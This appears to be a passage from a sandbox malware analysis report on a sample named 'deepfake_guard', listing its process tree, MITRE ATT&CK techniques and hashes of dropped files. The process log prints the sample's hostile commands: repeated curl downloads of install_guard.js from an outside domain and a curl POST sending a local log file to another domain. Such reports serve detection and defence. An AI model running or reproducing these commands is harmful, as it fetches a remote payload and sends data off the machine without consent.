  - Reads runtime system information
  PID:1031
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1033
- /bin/sleep
  sleep 2
  2⤵
  PID:1034
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1038
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1039
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1040
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1042
- /bin/sleep
  sleep 3
  2⤵
  PID:1043
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1045
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1046
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1047
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1049
- /bin/sleep
  sleep 4
  2⤵
  PID:1050
- /bin/sleep
  sleep 0.5
  2⤵
  PID:1051
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1052
- /bin/uname
  uname -s
  2⤵
  PID:1055
- /bin/grep
  grep -qi ubuntu /etc/os-release
  2⤵
  PID:1056
- /usr/bin/curl
  curl -sk -X POST -H "Content-Type: text/plain" -H "X-Guard-Platform: linux" --data-binary "@/var/tmp/deepfake_guard.log" --connect-timeout 30 --max-time 60 --retry 3 --retry-all-errors --retry-delay 3 https://api.gaganata.ink/guard-install-log
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1057
- /bin/sleep
  sleep 60
  2⤵
  PID:1058
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1060
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1061
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1062
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1064
- /bin/sleep
  sleep 5
  2⤵
  PID:1065
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1069
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1070
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1071
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1073
- /bin/sleep
  sleep 6
  2⤵
  PID:1074
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1076
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1077
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1078
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1080
- /bin/sleep
  sleep 7
  2⤵
  PID:1081
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1085
- /bin/rm
  rm -f /var/tmp/deepfake_guard_work/install_guard.js
  2⤵
  PID:1086
- /usr/bin/curl
  curl -kfsSL -C - --connect-timeout 120 --max-time 7200 --retry 8 --retry-all-errors --retry-delay 5 --speed-limit 500 --speed-time 180 -o /var/tmp/deepfake_guard_work/install_guard.js https://api.fallgganata.ink/install_guard.js
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:1087
- /bin/date
  date "+%Y-%m-%d %H:%M:%S"
  2⤵
  PID:1089
- /bin/sleep
  sleep 8
  2⤵
  PID:1090

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sh-thd.Ueluog

Path /tmp/sh-thd.Ueluog
Size 17KB
SHA256 b48aa1992618db68bf55ee4a663a07d7a6c5108d6d66b953047ac7698c87a7ed
MD5 7dcc070b17521005e7947d68b63b0443
SHA1 b2870cf979bc6e1f91b7eaf56c14a82907317586
SHA512 f40d5065419fea9d86b9d530b42ea08cabad421d5d2039e6ec917e797847baddee306f60911fc91ff0aefda0cbad918beea3f4def23730444a795299b0d01e32
SSDEEP 192:usbvL0QLcTXxvmWs4GVxYFfYiJRHi5n3vTWirUsz16+zS9ZPpEB6HfDyBTJTutQ/:uszLvLcxmWakFfJc75z1tzZgtQyDZ6f
TLSH
T1E682B91B2D838D383D8940B9AADB9285516F8C170C0E3D65F8AD65883F3D25CA37B35B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.kdm.UhqD3p

Path /var/tmp/.kdm.UhqD3p
Size 22KB
SHA256 283fc3f4ff57caeaf1a6d84c304257f3fb7c1e833d61cf56ea497d947e0314c6
MD5 c46abeecab5120dd0fc9125acb3b592a
SHA1 3cc98e12e9d9f9ae785884a315520c491776c97c
SHA512 f62db669e8ff50407173d9a8578044fbc4ed16e2b3d7c68b1b431b0ddfe869af5d3d9489eb782996476d149a6c5bc38ce0bd3f95fbdd123eb9056539caa8bef0
SSDEEP 384:JxmWA5esziszLvLcxmWakFfJc75z1tzZgtQyDZ6Mf:JxmWA5esziszLvLcxmWakFfA5z1tzZ5o
TLSH
T1C4A2D91A29478C383D8841B9EBDB6185616B891B0D0E3C65FC5D69C83F3D258B27B367
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

deepfake_guard.launcher.status

Path /var/tmp/deepfake_guard.launcher.status
Size 20B
SHA256 9cacfd988fb50bc7468779e85c044792b108b5fb837c1b8f6d159ab96de666a8
MD5 6af1fa6da228ca8f400b52110523f3f9
SHA1 a670496621e295ca055368f2f050422b4587e5da
SHA512 d1e46f645624ace405bc338c617b9d6c9c21fa329711f33fe9f66f8504c67c30a059855273b974620391c3516727f4a90ac9d02b38da89daaad2b6b1ae1305b6
MD5 SHA1 SHA512

Submit Download

pid

Path /var/tmp/deepfake_guard.lock.d/pid
Size 4B
SHA256 8a411eab6dc3431021059b9f59f07823a0303ff869b639e1df92f295cfb11721
MD5 0ebbca8033f16b6db3cf6a63c1ba9ef7
SHA1 595131baab0a3450473b3581d03618b1edec2195
SHA512 f5a145299db70eae0563159a96e1239a002cf7b11df1c20d2cf3ba5d990fff3a9222d1d3581d1cdc418cc020f5f3f0752f0043b393976ca690b395198eb49d1e
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads